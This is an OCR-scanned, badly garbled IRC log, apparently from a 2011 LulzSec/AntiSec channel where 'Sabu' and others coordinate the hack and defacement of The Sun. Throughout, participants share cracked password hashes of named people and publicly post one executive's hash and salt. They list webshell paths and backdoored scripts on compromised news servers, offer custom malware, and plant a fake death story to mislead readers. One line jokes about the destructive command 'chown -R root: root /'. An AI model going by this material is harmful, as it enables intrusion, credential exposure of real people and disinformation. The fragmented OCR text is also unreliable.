https : //www.gandi . net/whoi s/detai 1 s?search=l ooooooooooooooooooooooooooooooooooooo 
ooooooooooooooooonq . sb 



_ gandi . net 
ah right, thx 



0 





and yeah it is 63 indeed 

cause when you try 64 as vhost it says too long 
no coincidence 

max length is indeed 63 I believe 
but 

this may differ per tld 
"ah 

_ just like the minimum length 
Tt doesnt 

TLD is included in the 63 
_ even per registrator, 
"ts all the same 

RFC for FQDNS 

no 

that just defines 

as a tld you can choose to make it shorter 
the maximum boundaries 



the fuk 

individual tlds can have individual requirements 
is that takenAA 
lol 

also RFC says port 143 is the official IRC port doesnt it? :D 
iunno the latest rfc 
loes it? 
D: 

think so 

at least not 6667 
RFC 1459? 

ah well thats from 1989 or so? heh 
_ nah latest ire RFCs are way newer 
and i dont think there was ever any official port 
just default ports 
including TS6 etc too 
_ m must admit, havent checked those RFCs in years 
IRC was originally a plain text protocol [1] (although later 

, wnich on request was assigned port 194/TCP by lANA. [16] However, the 

de facto has always been to run IRC on 6667/TCP[17] and nearby port numbers (for 
example TCP ports 6660-6669, 7000) [18] to avoid having to run the IRCd software 
with root privileges. 



16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:48 < 
16:51 < 
16:51 < 
16:51 < 
16:51 
16:51 
16:51 
16:52 < 
16:52 < 
extende 





16:52 < 
16:52 < 
16:52 < 




Athi s 
arh, thx 
makes sense. 
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16:56 <- 

16:56 

report back 




# lsunnydays.log 
#babytech here, still waiting for our 
will provide custom malware for this 



supportguy to 
job, too \o/ 



m ce 
so. . 
Sun . 

How are we playing that now? 

have those hashes cracked for thesun? 
oh good q 

because., like getting in to their emails will be lulz 
Sabu went to sleep earlier 

mm 

especiall rebekah brooks emails :o 
well had like 40 or so cracked 

i trieaiO-15 no worky on both logins (old express and gmail) 
but those were mostly generated pw and a few very simple ones 
which sadly did not re-use 

but what are they for? 
only a-zO-9 on 6 chars or so 
they are for some not-used-anymore system 
what we cant access 
so we downloaded it 
and tried to setup local 

but it did no tell us more than the sql dump did 
check /window 1 



mode/#! sunnydays [-q 

mode/#! sunnydays [+0000 




by 

as quit [User quit: 
has joined #! sunnydays 

ChanServ 

e coming back later today 



Leaving] 



qui t : 

17:44 

thought was, 
17:44 <' 
17:49 < 
17:50 < 
17:50 < 
eardrum 

17:50 < 

spiderrs xD 
18:08 H _ 
#! sunnydays 
18:08 
19:03 
[User 




sunnydays L+o 

konjassiem shou 
it should start automatically 
(I have a ircdchk in cron) 
for now 
sleep 

night guise <3 
Night! 

[^^■|kerpia-E5851CFF.huggle.cuddle.n.snuggl .eu] has quit [User 

Like any sane mother, Diane Courtney revealed: "My first 

I'm going to go home and bomb the house." 

LOL 

wat 

Random snippet from El Reg 

an article about some kid who had 2 spiderz found in his 



the mom wanted to napalm the house 
|kerpia-85DDE6CB.dialup.adsl . 



quit: 



by ChanServ 
DDEbCB . di al up . adsl 



mode/# ! sunnyday s [+0 
^1 [l^^^kerpia' 

Leavi n^^^^ 

anyone mind getting glommy here? 

7 



to kill any evil ear 

antel data. net. uy] has joined 

antel data. net . uy] has quit 




It 

comment ot 
or you? 

enow tTiat rest is idle or cant judge :p 

well 

my question is 
_ do we need him here? 
well 
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19:39 <^ 
server tor 

19:39 < 

we've been 
if i <3 em 
19:40 <' 
19:40 
19:40 
19:40 
19:40 < 
19:40 <' 
19:40 
19:41 <' 
19:41 <' 
19:43 
19:43 
19:44 
19:44 
19:44 <' 
19:45 <' 
19:45 <' 
19:46 <©Sa 

19:46 <' 

19:46 <(asa 
19:46 
19:48 
19:49 
19:49 
19:49 
19:49 

19:49 _ 
use practi 
19:49 <■ 
19:50 
19:50 
19:50 
19:50 
19:50 <' 
19:50 < 
19:50 < 
51 
51 
51 



#! sunnydays .log 

he'll have a seedbox for us. also provided the bah source on his 

download 

^^^^ If we need someone here, to discuss things I don't mind. But 
leaked twice already so I'd prefer not overloading it with users, even 
very much. 

yar, i perfectly understand, i am probably as careful as you 
but bucc had no leaks so far 
and there were chances wnough 
also I^^B is old network admin 

So ^^ve need him: my vote is all yes 
till has trust from and all stuff 

If it's not necessar^ror him to be here: nah 
ok, ill put that on record for now. no need to rush things 

111 leave the deciding if we need him for you :P 

actually is objective right, 

if you seeTtTrom an technical point 
*a 

as said, i dont care if hes here or not 
im very technical and practical :P 
so yeah my stuff is mostly based on that xD 
me too, but i tend to calculate social things :D 
hi 

sup! 

my brother 
is kinda bored 
Sabu: ! 
aha now sabu gets 
hows it going 
ya haha 





highlited on 
Sabu 



like 3 different channels :D 



19: 
19: 
19: 
19:51 
19:51 
19:52 
19:56 
devi ce 
19:56 
19:56 
19:56 < 
19:56 < 
19:56 
19:56 
19:56 
19:56 
19:56 
20:01 
20:05 
20:05 
20:05 
20:05 
20:05 
20:05 
20:07 
20:07 
20:08 
20:08 




Hrrm i think social if needed but sometimes its safer to just 

views XD 
most of time acutally 
'•actually 

someone wanna check 3gb emails by reading them :D? 
no reply yet :-\ 
lol 

should be done in about 9001 hours 

what mail ? xD 

umped it from some university 
ah cool 
mostly trash probably 
but they also host one government page 
uhm. . link up ? 

im gonna set it up 
k ;) 

tar: mail/massmail .1182896397: Cannot write: No space left on 

FFFFFUUUUUUUUUUUUUUUUUUUUUU 
LOL 

this is the second server 
where this happens 
rage . jpg 

WE HAZ TOO MUCH DATA 

ohnoes 



shit so far today i guess 




the sun is setting in U.K. now 
so wat do? 
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20:09 <' 
20:09 < 
20:09 
20:09 
20:09 
20:09 
20:10 
20:10 < 
20:10 < 
20:10 < 
back as 
20:10 <' 
20:10 < 
20:11 < 
20:11 < 
20:11 < 
20:12 
WILL 




# lsunnydays.log 
will I try do the redirect? 

can you do sth like quicktest if it works and take back? 
if it works it works? other wise we just mass inject? 
ya I can change it and change it back 
mtnm okay, are we prepared? if we can redirect 
we need the content 
i guess the comics would be fine 
fake story about murdoch's death wont work anyway 
as he' 11 appear tomorrow 

but it would probably take like 5-10 mins to change and change 
get caches 

DO we have any kind of statement to put with it? 
mnh nope not yet 

not back yet 
1 guess i could draft something up 

but i'd want another native speaker to look over it 

changed the topic of #!sunnydays to: WE HAVE JOY WE HAVE FUN, WE 
MESS Tj^TOrDOCH'S sun 






20:12 <' 
20:12 <' 
20:13 <' 

20:14 <' 

can do exactly 
20:18 <■ 
20:18 < 
20:18 <' 
20:19 < 
20:19 < 
20:19 < 
20:19 < 
20:20 < 
20:20 < 
20:20 < 
20:20 < 
20:20 < 
20:20 < 
20:20 < 
20:20 < 
20:20 < 
20:20 
20:21 
20:21 
20:21 
questions 
20:21 <" 
20:21 
20:21 
20:21 
20:23 
20:23 
20:23 < 
20:29 < 
20:29 <' 
20:29 <' 
20:30 < 
20:40 
20:40 
20:41 
20:45 
20:45 <' 
20:46 <' 
20:46 < 
20:46 <' 
20:46 <' 
20:47 <' 
20:47 <' 
20:47 < 
20:47 < 



better slogan aa 
too bad. no root, sniff, 
but nice double meaning with the sun :p 

that'D be a tweet i sent out tonight., if we can foresee what we 

we will close sun hack today ? 
since we dont make any progress anymore 
probably? 



\ 



abou the i tali an insider, seems a journa 
and all documentation published it s old 



journalist shit. 





00: 


22 




00: 


22 


< 


00: 


22 


< 


00: 


23 


< 


00: 


23 


< 


00: 


23 


< 


00: 


23 


< 


00: 


23 




00: 


23 




00: 


23 


< 


00: 


23 


< 


00: 


23 




00: 


23 




ies for 


00: 


23 


<( 


AA 






lulz 






just yet 



Join to #lounge was synced in 3 sees 

i have a word for topic: whjwhfwwmums 

wut 
dare i ask? 

no... you don't want to know, 
resolution sooon! 
oik 
:o 

chacks name 
names* 

anything is better than iptables :) 

.fit WHJWHFWWMUMS 

exor changed the topic of #lounge to: 13<^^^| all 

whjwhfwwmums 



I 



X)) 





ahah 

http : //www. metri ctest . com/ 
hacked, 
but useless 
oh 

that reminds me 
gotta twatter sth 

uhm.. need to sleep was a fucked day :S 
http : //www . new-ti mes . co . uk/sun/ 

Have a look at that and change around whatever you want 
^^^H ^^^^H ^^^^H ^ 

yes 

now . . how to spread? 

DONT LEAK THAT URL JUST YET 

we have no release text 
but i dont think we need 
we should play as if it was real 
OOPS? murdoch dead!? -'link-' 
as twat 
yeah 
oh nvm 

Page 198 



61007 




#! sunnydays .log 

the comic is in 
okay ill tweet then 
haha 
will RT 

ill disclose in #lounge first 
then tweet :D 



20:47 <' 
20:47 < 
20:47 
20:47 
20:47 

20:47 < 

20:48 < (asabu> yo 

20:49 <^^H today i s my failf 
20:49 <(aSaDu> when the sun/news of the world is defaced/dumped there should be a 
big RIP to this guy : 

http://www.guardian.co. uk/medi a/2011/ jul/18/news-of-the-world-sean-hoare 
20:49 <MiH *fail-day 
20:49 <(asabu> that'll fuck murdoch up 
20:49 <@Sabu> fail day? 

yes, min 
e 

nothing successful what i did today 
not even fucking typing as you can see 

however 



20:49 
20:49 
20:49 
20:50 



<| 
<| 
<| 

20:50 <' 




20:50 <©Sabu> its ok brother 
20:50 <@Sabu> it happens 



20:50 <(! 
20:50 <(i 
20:50 
20:50 <<i 
20:50 <<i 

20:50 <i 

20:51 <@Sabu> 




even IRL i fail today :D 
however 

shouldnt we wait for 
then tweet :D 
too late 

http : //twi tter . com/# ! /AnonymousIRC/status/93060966039818240 
uck 



20:51 <@Sabu> why you do this :0 



20:51 
20:51 



20:52 < 
20:52 < 
20:52 < 




cause we were trunning out of time? 
also 

admins are asleep 
well they are for a while now 
need that in action while it's late evening 



20:52 <@Sabu> well I guess lets see what else we can do 



20:53 
20:53 




they got only one admin 
so. . . haha 

Sabu: well sabu.. it wasnt really much more anyway, need to get 

this live before EU falls asleep 

iT's the right timing 
media will know of this tomorrow 
when they report about the hearing 
it's perfect imo 
0 you at least have some sort of dump? at least a press release 
stating suns been owned, we're sitting on their emails 
20:53 <@Sabu> paste their passwords 

20:54 < @Sabu> I mean we have enoguh to cause a major stir 

yar 

we leeched all we could get and was worthwile 




20:54 < 
20:54 <' 



20:54 <©Sabu> ok so release that shit with the passwords radix gave us 



20:54 <' 
20:54 <' 
20:54 <' 




it wasnt much 
yeah we can still release more tomorrow 
have to admit that we could have done this betterAA 



20:54 <@Sabu> directory structure, files/filenames 



20:54 < 



20:54 <@Sabu> etc 
20:54 <@sabu> yes 



plan was: 



20:54 <(!_ 

20:54 <(asabu> 
20:54 <(! 
20:54 <(! 




but still epic 
I mean 

deface now, get impact now 
and tomorrow. . we can show we had even more 



20:54 <@Sabu> who came up with the idea of just defacing it now? 



20:54 <' 
20:55 < 
20:55 < 
20:55 < 
20:55 < 
20:55 < 




includeing 
yeah just tweet something like 
that admin rebooted our backdoors 
and some backgrounds 
'internal data follows" 
yarr, can still tweet that 
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55 <(< 

55 <@Sabu> 




will do soon. 



#! sunnydays .log 



impact first 
hilarious 



we 

20: 

20: 

20: 

20: 

20: 

20: 

rel 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 

20: 




will deliv 

56 <' 
56 <' 

56 

56 <(cfsabu> 
56 <©Sabu> 

56 <@Sabu> 
ease tomor 

57 <@Sabu> 
57 <@Sabu> 
57 <@Sabu> 
57 <(asabu> 
57 <@Sabu> 
57 <' 
57 
57 
57 
57 
57 



\ 

perfect then 

but., lets have this a bit on 
yeah 

the article and comic is just 
Tts good as it is 
really 

should have kept sleeping lol 

its TABLOID NIVEAU 

I 

Sabu: YOU said yourself 
we need to wrap this shit up 
we have MORE important shit 

and tomorrow is the parliament hearing for murdoch 
they will probably even mention this 
we HAD to act now 
Sabu, is good as it is. Now everyone waits for a sun release wich 
er . 

yup 

in my opinion this is even better 

and we HAZ stuff 
just tweeted 

anonymouSabu The Real Sabu 

OWNED, we're sitting on their emails. Press 
new-times.co.uk/sun/ #antisec 
down 

uck it lets mindfuck them 
I bet you murdoch 's team will see 
and shit themselves 
yo give me rebekkas password 

so I can tweet it 

i think we should wait 3 days and just see the 
yeah 

before we did anything :D 
someone give me rebekkas password 
will be epic 

her username 
tweet that shit 



Sun/News of the world 
row. in the meantime check: 
■ yar i like how this went 



all this 
hash 



hash 



with 

57 < @Sabu> imma 

57 <^^^H okay 

58 <@Sabu> :d 

58 <@sabu> so mantech is going to be our main focus which 
58 <(^^H rebekah 62dd0bd92bf4fafae73c531ee5108c77 




20:59 
20:59 
20:59 
20:59 
21:00 
21:00 
21:00 
21:00 
21:00 
21:01 
which 
21:01 
which 
21:01 
which 
21:01 
21:01 
21:01 
21:01 
21:01 
21:01 
21:01 
21:01 





is good 

Rebekah wade 



62ddObd92bf4fafae73c531ee5108c7y 
not really strong pass 
hash: SALT: PLAIN 
UNF 

^^B^^H^ "moguls body discoverd" spelling fail 
Tn^orma^^x this 
lol 
:D 

Sabu: 23:02 <@Sabu> so mantech is going to be our main focus 
Sabu: 23:02 <@Sabu> so mantech is going to be our main focus 
Sabu: 23:02 <@Sabu> so mantech is going to be our main focus 

YES 

we need all resources on that 

yup 

but guy didnt report back so far 

we got enough from him 
to do this 

even if he does not return 
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21:01 
21:02 
21:02 



<iasabu> 
<@Sabu> 




21:04 
21:04 
21:04 
21:04 
21:04 
21:08 
21:08 
21:08 
21:10 
21:15 
21:16 
21:16 
21:16 
21:16 



# lsunnydays.log 

(worst case) 

anonymouSabu The Real Sabu 

rebekah - 62dd0bd92bf4fafae73c531ee5108c77 - Rebekah wade 

- salt: rebekah. 
seconds ago Favorite Reply Delete 
RTed that 

UNF 

its gonna be drama today guys :) 

is there any other important we should tweet? 

hash 

here goes the shit storm 

keep posting hashes 

lets fucking terrify them 

okay 

guys 

whos here? 

will I try the redirect? 
hai 

im here 




21:19 
21:20 
21:20 
21:20 
21:20 
excuse 
21:20 
21:20 
21:20 
21:20 
21:20 
21:20 
21:20 
21:22 
21:22 
21:22 
21:22 




1 s tweeted al ready 

try redirect please 

ol< 

fuck 




has joined #!sunnydays 



sunnydays L+o ^^^^H by cnanserv 

\o 

]ennie_kermode Jennie Kermode 
Good for ©anonymouSabu, who have now provided the police with an 
in (investigating hacking!) and search The Sun's email system, 
awesome point 
hai 



ets see 
Sabu 




<@Sabu> 

<@Sabu> 

<@Sabu> 
<@Sabu> 



<@Sabu> 

< 





21:23 
21:23 
21:23 
21:23 



21:24 
21:24 
21:24 
21:24 





at happens now 
got moar hashes? 
yes has them 

pass me some too :D 

Cracked ones that is. 
holy shit it works! 
The sun is defaced!! 

howdy Sabu/team 

yo this is a total mind fuck 
eve ryones going crazy hahahha 
ohai 

what ' s nappeni ng? 
you sexy fuck 

defaced that sun page 

I pasted rebekahs password hash 
breaki ngnewspage . html 
one sec 

can you RT get it spread 

give linl^^ 

www. thesun .co.uk 

8df5f5C6.d10fa275.84e78e68.ip] has joined #!sunnydays 
by Chanserv 



e7#! sunnydays [+o 

its redirecting now 

oesn't seem tobe 

it works for me 
takes a while though 

lol u didnt resist to post on the new-times 
www. thesun .co.uk 
let it cache 

XD 

keep it up 

LOL 

it's working 
tweeting now 

https : //twi tter . com/# ! /^^^^status/93069688162095104 
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21:24 
21:25 <g 
21:25 <@Sabu> 




body "The Sun i s down today" 
21:25 RT p1z 

?Sabu> its a password 



# lsunnydays.log 

has joined the bandwagon, 

ttp : //twi tte r . com/# ! /anon_H 
can you email ^^^H 



status/9306974947 8625280 
^^^^^^^^^^^H for me with the 




21:26 



can you pass me some hashes too 

also rting 

Pass everyone some hashes if they want? :3 maximum mayhem 
hold on I am tweeting that first 
gimme a moment 



21:26 
21:26 



21:26 <@Sabu> SEX 

21:26 <@Sabu> lets all spread hashes 

yeah i will passs the lists 

Sounds like an awesome plan 

if you dont mind your nick tied to it, get a hash from the 
^e info and post the tweet ehre 
and rt bomb 
Pol, its an original plan 
"okay let the tweet party begin 
spoke with 




21:28 
21:28 < 
21:28 < 
21:29 



21:29 
21:29 




(writing for Guardian) 

breaking news for you buddy. 

ttp : //www. thesun .co.uk/ 
Enjoy. 



so I ]USt 
[11:31:38 
[11:31:43 
[11:31:46 

because he doesn ' t 
21:29 <@Sabu> you guys realize 
21:29 <@Sabu> murdoch is done 
21:29 <@Sabu> after all this scandals 
21:29 <@Sabu> and now complete infiltration 
wait 

i dont seen anything strange on thesun.co.uk 
YOU see a story right? 
'it redirects 
_ you have to clear cache, try again 

21:30 <©Sabu> yeah it works for me 

guys i think the extras server is getting a bit overloaded 
!8 <mmmbud> 

http : //www. exami ner . com/anonymous-i n-nati onal /anonymous-opbri tai n-hacks- rupert-mu 
rdoch-s-fanpage 

21:30 <@Sabu> 21:28 <mmmbud> not much lol 

21:30 <@Sabu> 21:28 <mmmbud> but cant hurt right 

21:30 <(asabu> first article? 

probably cause i use noscript 

it keep timing out while I try change the shell 

Sabu> err 

not first article 

Can we hack the face books? 

rupert murdoch.com got hacked too 




21:30 <(< 

21:30 <(asabu> 21: 




21:30 < 
21:30 < 
21:30 < 
21:30 <@Sabu> 

21:30 <C< 

21:30 <@Sabu> 



21:30 <@sabu> hahahaha 

21:31 <^^H http://www.multiupload.com/ZRQWN9wPBR 

21:31 < ^B^B facebooks will take some preperation 

21:31 <^^H wich we dont did 

21:31 <@Sabu> 21:26 <Sabu> thesun.co.uk just got defaced 

21:31 <@Sabu> 21:26 <Sabu> enjoy that one 

not seeing it 




21:31 <@Sabu> 21:27 
21:31 <(asabu> 21:28 
these emails, 
identify the 
21:31 <(asabu> 
21:31 <(asabu> 21:29 
for obvious reasons 

21:31 <@Sabu> 21:29 

wiki leaks-style? we go t 

21:31 <@Sabu> 21:29 

greater than if it's just a 




so, this is a weird idea. But if you really have 
next-to-impossible for you to go through them and 

stories 

we're very interested in the story at Gawker, 



what if we did some sort of partnership? 
these emails and identify stories 

I think the impact of your leak will be much 

oc dump 
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# lsunnydays.log 
21:31 <@Sabu> 21:31 <Sabu> you're correct 
21:31 <@Sabu> 21:31 <Sabu> and we're open to this idea 

21:31 <@Sabu> 21:31 <Sabu> let us talk some more later, let me go back to doing 
my job 

21:31 <@Sabu> 21:31 <Sabu> you stay here. 
21:32 <@Sabu> adrian chen WANTS THE EMAILS BAD 
21:32 <(asabu> LETS TROLL him 
21:32 <(asabu> PLZ GOD 



21:32 <(asabu> 
21:32 < 



Muti 1 ateMu rdochMonday? 



whats this ? 

o you guys have a name for this day, 



like 




21:32 <@Sabu> thats a good idea 



21:32 
21:32 
21:33 




we waited and waited, 
okay sec 
but had to act 
you should have tweeted me haha 



<| 
<| 
<| 

21:33 < 

21:33 <@Sabu> MurdochMel tdownMonday or is that too cliche 
my router was being a cock 

can you pass me some hashes too 

at works Sabu 

also rting 

Pass everyone some hashes if they want? 




; 3 maxi mum 



love it 

http : //www . mul ti upl oad . com/ZRQWN9WPBR 

GNAAAH! IRC > TWITTER 

LRN that :p 

yeah 

im downing 
yeah but 



router configuration was s 




I run IRC from a VM that was being a dick, and 
owing it down 

oh well 

amazing work gentlemen 
tweets now 

but i think., we did this still well 

1 thTnT" 

you did 

I LOL'd at Sabu's first tweet 
this will stay live for a while 

was like oh shit son 
they only have 1 admin 
lolol 




1 wanted to have impact whi le US media is sti I I awake 
so UK media will pick it up for sure 
can someone rt this? since nobody will read it otherwise 
before the hearing 
tomorrow 
_ sure sec 

thy 

21:35 <@Sabu> We are Anonymous. We are Legion, we do not forgive, we do not 
forget. Expect us. #antisec #anonymous RIP Sean Hoare, a pioneer of #hackgate 
21:35 <@Sabu> btw guys if you dont know yet 

21:35 <@Sabu> the guy who originally leaked the fact of murdoch hacking vms 
21:35 <@Sabu> ended up dead today 
21:35 <@Sabu> no explanations yet 
21:35 <©Sabu> if suicide or what 
21:35 <@Sabu> but lets RIP him it up 

did they fix the redirect? 

oh, I think new-times. co.uk has been accidenta-DDoS'd 

"lol 
damn 




21:36 
21:37 



ya 
shit 
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tweet saying 
know when 
its dossed! 




status/93073214590287873 



#!sunnydays.log 
hmm strange shit that 

yeah the redirect works, but the site is down *laughs' 

I can change the redi rect? 
change it to our twitter 

will I try change the redirect ok 
Lulzsec? 
yeah 
rofl 

I will tweet saying hai 
let me 
damn 
fuck 

didn't see that coming 
https : //twi tter . com/# ! , _ 
ope someone screenshottec 
did ya do it 

rt please 

done 

I can't get a shell to open 
I still have the fake story up 
ok 

blocked by ddos or something 
just got dos'd from all the twitter emails 
fake story is cached and being served by the caching 

shells aren't cached so they are down 

"uck my mailbox will explode 
since ^^^^ RTed me 
need t^oeactivate that now 
lol i cant load twitter 

new-times is slowly coming back up 
redi rect worked 
ID 

http : //bl ogs . i ndependent . co . uk/2011/07/18/anonymous-rel eases- rebekah-brooks-emai 1 

-address -and -password/ 
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;41 


<<a 


21: 


;41 




21: 


;41 





shell is 
my phone 



since :P 
twitter now? 
kk 



2 more have been released 
ok so will i redirect to 
:ust less significant but 
I don't mind 

Whichever as long as the server doesn't crash again 
yeah 

twitter 

yeah 
yawns 

redirect to lulzsec twitter 
or anonymousi rc 

^ I will tweet saying like 

Sabu> or whatever 
Hi Sun!" 
you sexy fuck<3 

https://twitter.eom/#l/Andrew_Heaton/status/93073995368370176 

howd they poke me and miss sabu and 
i wonder. . . 
aha 

so which is it 
lulzsec or anonymousi rc? 

Do LulzSec first maybe 
lulzsec promised 

the pastebin operation and this was 
lulzsec 
a warming up 

Anonymous doesn't attack media, it would look weird 
ok 

guys wanna put up a statement so the media have something to 




tomorrow 
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21:46 
21:46 
21:46 
21:46 
21:46 
21:46 




21:47 
21:47 
21:47 
we can 
21:47 
21:47 
21:47 
21:47 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:48 
21:49 
https: 
post s 
21:49 
probl e 
21:49 
21:49 
21:49 



#! sunnydays .log 
throwing in another pw on the twitter 
no statements 

lets wait 3 days and do a release then 

they can quote our tweets 

let them wait and prepare 
they always do 

I will tweet some things worth quoting 
esp. if it redirects to lulzsec 

yo 

I think twitter is dying 
on my end its lagged out 
guys? 

seems good 

why is it dead for mee hmm 

ok when the load goes down we will deface the news int pages 




<@Sabu> 
<@Sabu> 

<| 

<©Sabu> 

<| 

<@Sabu> 
<@Sabu> 
<@Sabu> 



lstatus/93075519280648193 






RT if you will and 



too busy, or experiencing other 
requests . 



ok 

good job 
nice worh 
laughing hard 
_ https://twitter.eom/#!, 

FUCK I WANT TO SEE IT 

twitter is fine here 
http : //twi tter . com/# ! /Lul zSec 
that url? 

yes " 

hurry up plz :) 

http://www.new-times.co.uk/sun/ is already 403 
wait 
yeh 

ey worki ng on it ! ! ! 
remove the #! 
it will redirect faster 
great 
_ ok 

so just twitter.com/lulzsec 
cant wait to see this 

twi tter . com/^T^^^^^status/93075 519280648193 <- 
of yer own ;) 

The web server may be down, 
preventing it from responding to 
>too busy 
Athis 

ok 

shit! 
yeah had that too 
me too 

let's switch to twitter 

hopefully the redirect will work when the load goes down 
ok trying to change now 

Twitter is starting to go viral, 
do thisssssss 

J ■ J 

if the load goes down 

I'll make a few fake pages on newsint.co.uk 
people start writing stuff 
fuck its so dosed 
ahah 

you can redirect to twitter this will be 
almost as dos'd as when we DoS'd 
most epic moment 
hi story 
and he had to restart 
come on mircrositel 
most epic moment for now 
hmm 
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just 




#! sunnydays .log 

we will top that 

we will top (t)hat 
30 u have the other shells links? 
_ fix'd. 

wat 

well, mission accomplished, i think we are getting the max hah 

bad we had to sweat a week 

yeah we are getting tweeted out the ass 

was hard work, indeed 
_ this is going down hard 

use beto marcico if they cleaned the shell there 
shells are there, its just dosed! 
true just wait til we get mantech done with 

omg 

Best LFI ever! 

lol 

hahahahhaah 

shit think its down now 

gateway error 
from the caching server 
Relax, publish some passwords 
ttp : //gi zmodo . com/ 
http : //gi zmodo . com/ 
http : //gi zmodo . com/ 
FRONT 
PAGE 

HAHAHAHAHA 

fuckyeah.jpg 
niiiice 
well 

Thats nice. 
:D 

guys 

redirected to twitter :D 
_ <33333 
good job 

it should take a few minutes 
to propigate 

server is loadi ng a lot faster now 
want your kids ^^^^^^ 
is always missing on releases :-/ 




http: //foot 





p : //www. newsg roupdi gi tal . com/i mages/utf 8 . php 

1 extras . ti mesonl i ne . co . uk/pl ayerstats beto_marci co . php 

AAother shells there 
just in case 

I have some random scripts backdoored too 
incase they find the shells 
they will burn down the whole server 
anyone got a statement we can post as a page 
and link to? 



on newsint.co. 




statement yet 
will write 
I ' ve 



something? :3? 

no idea what type of statement you're looking 



21:59 < 
21:59 < 
stuff 
22:00 < 
22:00 < 
22:00 <' 
22:00 < 
peopl e . 
22:00 < 
22:00 < 
confuse 
22:00 < 
22:01 < 



Anonymous/LulzSec? what angle? 
"think we dont need a statement until 



we release database dumps 




you can 



agreed 

then we do a Lulz ASCII 

detailing what we did in prior (these) days 

Just like Murdoch, You no longer control the voice of the 
t domi nate etc . . 
that way we get a 100% accurate release in one 
I think, in agreement with that we should let media be 

for a few days to build hype 

then when the database dumps roll out, we explain ourselves 
and thus get more hype 
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01 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
02 
04 
04 
04 
04 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
05 
06 
06 
06 
now its 
22:06 < 

06 < 

07 < 

08 < 



post from LulzSec 

Sun employee passwords? 



# lsunnydays.log 

Yeah 

think newsgroupdigital is ready to deface too 
maybe a comic? :) 

join me in rolling out a few passes with random twitters when 
of time A. A easy spent time and maximum chaos 
the voicemail one perhaps 

A 

oh god 
yes please 
^^^^^^ knock me one to 
wn^^ire they by the way, 
<(asabu> topic, statement ;) 
<@Sabu> to* 

Yeah from those hashes, not all sun.co.uk 
literally masturbating right now 

ill make up a twit msg for you in query 
sure thing 
done 

admins are starting to edit things now 
they edited out the redirect 
wi 1 1 i put i t back : P 

ang something on newsgroupdigital before they change the right 
rights 

we got thei r facebooks too 
but the will take time to prepare 
and i bet they wont even think of it 
so we got this time 

http://i .imgur.com/GDrOk.png I ufcing love that who made it? 




<@Sabu> hahahha 




put the redirect back 
pointing to twitter ? 



it 



epic comic isn't 
it was great 
yep they took out the link, I just put it back 

make sure the redirect goes to twitter if possible right 

e forbidden page 
yup 

it will take a few minutes to update 
i m still fighting with my fresh freeBSD 9 install 
Sabu> zoey just gave us some insider 

Sounds like The Guardian is coming 

ack. 

22:08 <@Sabu> guardian will do a hit piece about the hack 
22:08 <@Sabu> lets scare them ;) 



22 
22 
22 

22:08 <@Sabu> 22:07 _ 
likely critical of t 



in with 400 words- 



22:08 <(< 
22:08 <^ 
promote 




ok they changed the permisons 

Leave the guardian. They are the kinda of media we wan't to 

come on lets acuse them or moral faggotry 

haha 

i dislike guardian anyway 
its going to lulzsec now! 
hehe 

the sysadmin will be like wtf! 

guardian sucks almost as much as jesfag does imo 



ok 
led 

sec 
well 



of all the mainstreem media it is one of the most 



https : / /twi tter . com/# ! , 
********** says . 

* Holy crap ******** 

* The Sun has been hacked 
(me) says: 

laughing so hard 

:0? who has hacked it? 
you guys are amazing 
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22:11 < 
22:11 < 
22:11 < 
22:12 < 
permissions on 
22:12 <<mm^M 
22:12 <@Sabu> lo 




#! sunnydays .log 
damn I hope my VPN was on 

lol 

LOL 

ha I wonder when the admins will finally think of changing the 

he i frame file 
lol 



22:13 < 

22:13 < . 

lulzsecs twitter 




lo1 redirect still working 

^■^^ You should get all the sun users (who are now on 

ee^^on IRC 

He's basically asking you to put in a weblink on the lulzsec 



22:15 



ok they changed permissions now 

hahahaah 

but not edited the file 
itTT kill our ire server 
Well 

ol 

if he thinks anonops can handle it 

i say 

challenge accepted 

go go go 

we have 5-lOmins left probably 
Can you? 

good job my brother 
0 10 on ■■■■ 

I don't tr^Tl^tnat would work actually, irc.lc has a limit to 




how many can connect at any given time 

it woul d ob literate the webchat 
but if says so... 

then we can try :) 
says so :p 
urry up u dont have time 
okay gimme a moment, gonna hop on AnonOps myself 
a minute, sec 

don't think the admin just chmoded the iframe file 

just a minute, sec 

>minute >sec 

he chmoding everything!! 

Sabu> hahahahhaa 
22:16 <@Sabu> hahahahahahhhah 
22:16 < @Sabu> :X 

22:16 <( gJM^^M idea 

22:16 <@^^H^^H where its coming from 
22:16 <<S^^^^M xD 
22:16 

hahahaa 

hes so pro 

_ I hope he goes and executes one of those backdoored root shell 
ying around for him 
lol 

give me a shell pis 
need to see something 
u can redirect if not to a pastehtml 
Network Error (tcp_error) 

A communication error occurred: "Connection refused" 

^ The Web server may be down, too busy, or experiencing other 

problems preventing it from responding to requests. You may wish to try again at 
a later time. 

For assistance, contact your network support team. 

http : //extras . thesun . co . uk/wordpress/footer2b . php 
http : //www. newsg roupdi gi tal . com/i mages/utf 8 . php 




22:17 < 
22:17 < 
22:17 < 
22:17 < 
http: //foot 
22:17 < 
22:18 < 




1 extras . ti mesonl i ne . co . uk/pl aye rs tats beto_marci co . php 

http : //www. new- ti mes . co . uk/utf 8 . php 

they just chmoded all the web files 
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lol 



#! sunnydays .log 






It killed the webchat in 3 seconds 

lol 

chown -R root: root / 
lulz 

he killed his server 

ROFL 

ROFLL 

ROLF 

also remove the password from the lulzsec twitter already 

nope 

id not actually do this :D 
shouldve spread enough 

nobody/nobody -rw-rw-r — 
dont wanna risk that account :P 

thats what everything is now! 

these passwords could be freely imagined 
ok 

I think he took down the server 
already did 

now time to sw^cr^o mircosite2! ! ! 
like 10 minutes ago 
ro admin is pro. 
kk 

okay microsite2 
! 

didnt check :P 
wtf 

pastehtml . com/vi ew/bOoai bxyl .html 
in bucc 

I only got connected just now 
access in #antisec be gone? 
ok 

I wonder will sites switch to microsite2 now that lis down 
no you have 

ohh ok sorry 
you forgot 
didnt check other chans 

Going to remove the old passwords now from my twitter 
I didn't join any, also my access is gone in all of them 
add a new one later 
and remove it quickly again :P 

you ahve full access 
no wait 
+ao 

yeah sorry I am lagging 
sec 
